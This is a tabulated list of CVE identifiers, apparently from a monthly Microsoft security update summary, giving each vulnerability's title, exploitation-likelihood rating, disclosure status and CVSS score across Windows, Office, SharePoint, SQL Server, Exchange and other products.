CVE-2026-55120	Microsoft PowerPoint Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55052	Microsoft SharePoint Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-58277	Microsoft SharePoint Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50522	Microsoft SharePoint Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-58644	Microsoft SharePoint Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-56164	Microsoft SharePoint Server Elevation of Privilege Vulnerability	Exploitation Detected	No	5.3
CVE-2026-55051	Microsoft SharePoint Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-55040	Microsoft SharePoint Server Security Feature Bypass Vulnerability	Exploitation More Likely	No	9.1
CVE-2026-54108	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-55016	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Less Likely	No	4.6
CVE-2026-55019	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Unlikely	No	4.6
CVE-2026-55020	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Unlikely	No	4.6
CVE-2026-55021	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Unlikely	No	7.3
CVE-2026-55030	Microsoft SharePoint Server Spoofing Vulnerability	N/A	No	4.6
CVE-2026-55034	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-55126	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-55135	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Less Likely	No	4.6
CVE-2026-56157	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Less Likely	No	5.4
CVE-2026-55050	Microsoft Word Information Disclosure Vulnerability	N/A	No	5.5
CVE-2026-55124	Microsoft Word Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-55142	Microsoft Word Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-55032	Microsoft Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55033	Microsoft Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55127	Microsoft Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55055	Microsoft Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55038	Microsoft Word Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-55132	Microsoft Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55134	Microsoft Word Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-55128	Microsoft Word Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-55130	Microsoft Word Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50387	Windows GDI Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8

Open Source Software vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-40553	Stack-based buffer overflow in gawk	n/a	No
CVE-2026-40469	Heap buffer overflow in gawk	n/a	No
CVE-2026-40468	Heap buffer overflow in gawk	n/a	No
CVE-2026-40467	Use after free in gawk	n/a	No
CVE-2026-57968	Windows Subsystem for Linux (WSL2) Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-57973	Windows Subsystem for Linux (WSL2) Kernel Tampering Vulnerability	Exploitation Less Likely	No	6.3

Other vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-50663	Game: Age of Empires II: Definitive Edition Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50510	GitHub Copilot Remote Code Execution Vulnerability	N/A	No	7.8
CVE-2026-55010	Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-55145	Outlook Copilot Tampering Vulnerability	N/A	No	6.3

Server Software vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-55006	Microsoft Exchange Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55009	Microsoft Exchange Server Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-55005	Microsoft Exchange Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-55008	Microsoft Exchange Server Spoofing Vulnerability	Exploitation More Likely	No	9.6

SQL Server vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-56642	Microsoft Fabric Data Warehouse Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-58647	Microsoft PowerBI Report Server Spoofing Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-47296	Microsoft SQL Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55002	Microsoft SQL Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-47295	Microsoft SQL Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50468	Microsoft SQL Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-54116	Microsoft SQL Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-54117	Microsoft SQL Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-54118	Microsoft SQL Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8

System Center vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-50658	Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-56178	Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50657	Microsoft Defender for Endpoint for Mac Information Disclosure Vulnerability	Exploitation Less Likely	No	4.7
CVE-2026-55011	Microsoft Defender Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55012	Microsoft Defender Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8

Windows vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-54121	Active Directory Certificate Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50682	Active Directory Denial of Service Vulnerability	Exploitation Unlikely	No	7.1
CVE-2026-55001	Active Directory Domain Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50647	Active Directory Federation Server Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50684	Active Directory Federation Server Spoofing Vulnerability	N/A	No	4.8
CVE-2026-56155	Active Directory Federation Services Elevation of Privilege Vulnerability	Exploitation Detected	No	7.8
CVE-2026-50488	Clipboard User Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50491	Code Integrity DLL (ci.dll) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50381	Composite Image File System driver (cimfs.sys) Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50427	Content Delivery Manager Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50692	Desktop Window Manager Elevation of Privilege Vulnerability	N/A	No	8.8
CVE-2026-58633	Desktop Window Manager Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-58634	Desktop Window Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-48564	DHCP Server Service Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50370	DHCP Server Service Remote Code Execution Vulnerability	Exploitation More Likely	No	8.8
CVE-2026-56159	DHCP Server Service Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-50296	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50375	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	6.3
CVE-2026-50353	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50493	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56643	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56644	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58629	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50382	DirectX Graphics Kernel Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-49174	DNS Client Tampering Vulnerability	Exploitation Unlikely	No	6.1
CVE-2026-50495	DNS Client Tampering Vulnerability	Exploitation Less Likely	No	6.1
CVE-2026-57088	Extensible Storage Engine (ESENT) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-49787	HTTP.sys Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50420	HTTP.sys Information Disclosure Vulnerability	Exploitation Less Likely	No	6.2
CVE-2026-49788	HTTP/2 Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50696	Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-49162	Microsoft Brokering File System Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50305	Microsoft Brokering File System Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50361	Microsoft Brokering File System Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50466	Microsoft Brokering File System Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50458	Microsoft Brokering File System Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50329	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-58541	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50343	Microsoft Install Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-54992	Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability	Exploitation More Likely	No	8.4
CVE-2026-50439	Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-58537	Microsoft NAT Helper Components (ipnathlp.dll) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-42900	Microsoft Windows App Store Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-49784	Microsoft Windows App Store Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50356	Microsoft Windows App Store Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-49165	Microsoft Windows App Store Information Disclosure Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-54993	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58610	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50655	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-56189	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-57090	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-57094	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-57087	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-57092	Microsoft Windows VMSwitch Elevation of Privilege Vulnerability	Exploitation Less Likely	No	9.9
CVE-2026-50359	Microsoft XML Core Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-57097	Microsoft XML Security Feature Bypass Vulnerability	Exploitation Less Likely	No	6.4
CVE-2026-50346	Netlogon RPC Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50402	NTFS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-54989	Quality Windows Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50365	Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-54990	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-50474	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-58594	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-56190	Remote Desktop Protocol Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-49783	Secure Boot Security Feature Bypass Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-42990	SQL Server ODBC driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-49168	Storage Spaces Direct Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-49180	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50455	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-54111	Universal Print Management Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-58543	Universal Print Management Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.3
CVE-2026-58601	Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability	Exploitation Less Likely	No	7.8
CVE-2026-49805	Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-50297	Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-50325	Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-50489	Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	8.8
CVE-2026-57095	Win32k Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.2
CVE-2026-50416	Win32k Information Disclosure Vulnerability	Exploitation Less Likely	No	3.3
CVE-2026-56184	Win32k Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5

CVE-2026-50432	Window Virtual Filtering Platform (VFP) Denial of Service Vulnerability	Exploitation Less Likely	No	5.3
CVE-2026-54119	Windows Active Directory Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-57976	Windows Active Directory Domain Services Denial of Service Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50366	Windows Active Directory Domain Services Denial of Service Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-49164	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-49178	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-58529	Windows Active Directory Federation Services (ADFS) Information Disclosure Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-54983	Windows Active Directory Federation Services Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50695	Windows Active Directory Federation Services Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50304	Windows Active Directory Federation Services Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50368	Windows Active Directory Federation Services Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50324	Windows Active Directory Federation Services Denial of Service Vulnerability	Exploitation Less Likely	No	5.9
CVE-2026-50355	Windows Active Directory Federation Services Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50411	Windows Active Directory Federation Services Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-58631	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-56196	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-56197	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-56169	Windows Admin Center Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-57107	Windows Admin Center Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56185	Windows Admin Center Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50312	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Exploitation Less Likely	No	4.7
CVE-2026-50462	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-57093	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-34346	Windows Ancillary Function Driver for WinSock Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-48572	Windows App Package Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-48571	Windows App Package Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50400	Windows App Package Installer Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50331	Windows Application Model Core API Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-49803	Windows AppX Deployment Extensions Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50351	Windows Audio Compression Manager (ACM) Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50440	Windows Audio Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-34328	Windows Audio Service Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50406	Windows Backup Engine Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50364	Windows Backup Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-50661	Windows BitLocker Security Feature Bypass Vulnerability	Exploitation Less Likely	Yes	6.1
CVE-2026-42975	Windows Bluetooth Port Driver Remote Code Execution	Exploitation Less Likely	No	8.0
CVE-2026-58538	Windows Bluetooth Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58638	Windows Boot Loader Security Feature Bypass Vulnerability	Exploitation More Likely	No	6.0
CVE-2026-58637	Windows Client-Side Caching Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50384	Windows Clip Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-49183	Windows Clipboard Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50689	Windows Clipboard Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50374	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.3
CVE-2026-58536	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-58613	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50401	Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50697	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50667	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50421	Windows Connected User Experiences and Telemetry Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50428	Windows Container Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-50352	Windows Cryptographic Services Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50302	Windows Cryptographic Services Security Feature Bypass Vulnerability	Exploitation Unlikely	No	4.2
CVE-2026-55144	Windows Cryptography API: Next Generation (CNG) Tampering Vulnerability	Exploitation Unlikely	No	7.1
CVE-2026-50347	Windows Data.dll Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-49181	Windows DHCP Client Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50683	Windows DHCP Client Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-54128	Windows DHCP Client Remote Code Execution Vulnerability	Exploitation More Likely	No	8.4
CVE-2026-58627	Windows DHCP Server Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50518	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-50685	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-49807	Windows DirectX Information Disclosure Vulnerability	Exploitation Less Likely	No	6.2
CVE-2026-49175	Windows DNS Client Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50487	Windows DNS Client Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-50465	Windows DNS Client Tampering Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-49169	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-50426	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	6.8
CVE-2026-50424	Windows Domain Controller Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50300	Windows DWM Core Library Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50437	Windows DWM Core Library Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-34348	Windows Event Logging Service Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50502	Windows Event Logging Service Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-33842	Windows File Explorer Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-40422	Windows File Explorer Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-41087	Windows File Explorer Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50473	Windows File Explorer Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50442	Windows File Explorer Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50389	Windows File Explorer Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50456	Windows File Explorer Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-57084	Windows File Explorer Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-57091	Windows File History Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50405	Windows Filtering Platform Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-49172	Windows FTP Service Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-50387	Windows GDI Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-54122	Windows GDI+ Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.4
CVE-2026-49796	Windows GDI+ Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50380	Windows GDI+ Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.6
CVE-2026-50483	Windows Graphics Component Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-58609	Windows Graphics Component Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50391	Windows Group Policy Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50310	Windows Human Interface Device Information Disclosure Vulnerability	Exploitation Less Likely	No	4.7
CVE-2026-50485	Windows Hyper-V Denial of Service Vulnerability	Exploitation Less Likely	No	4.5
CVE-2026-54129	Windows Hyper-V Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-54127	Windows Hyper-V Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.4
CVE-2026-50680	Windows Hyper-V Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.2
CVE-2026-50315	Windows Image Acquisition Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-58534	Windows Input Method Editor (IME) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50490	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-58540	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50425	Windows Internal System User Profile Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50293	Windows Internal Task Bar Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-49167	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	4.7
CVE-2026-49173	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-54132	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-49795	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	8.8
CVE-2026-49798	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	9.3
CVE-2026-49808	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50354	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-50332	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50377	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50390	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-50423	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50397	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50436	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50399	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50459	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50477	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50478	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50484	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50673	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58532	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50294	Windows Kernel Information Disclosure Vulnerability	Exploitation Less Likely	No	6.2

CVE-2026-50316	Windows Kernel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50419	Windows Kernel Information Disclosure Vulnerability	Exploitation Unlikely	No	3.3
CVE-2026-50463	Windows Kernel Information Disclosure Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50475	Windows Kernel Information Disclosure Vulnerability	Exploitation More Likely	No	5.5
CVE-2026-50429	Windows Kernel Information Disclosure Vulnerability	Exploitation Less Likely	No	8.2
CVE-2026-58614	Windows Kernel Security Feature Bypass Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-58545	Windows Kernel Security Feature Bypass Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-58602	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50393	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50396	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50378	Windows Key Guard Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50303	Windows Key Guard Security Feature Bypass Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-40378	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-49799	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50371	Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-58544	Windows Management Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50404	Windows Media Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50358	Windows Media Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50336	Windows Media Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50398	Windows Media Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-50414	Windows Media Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50379	Windows Media Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50433	Windows Media Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50676	Windows Media Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50677	Windows Media Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
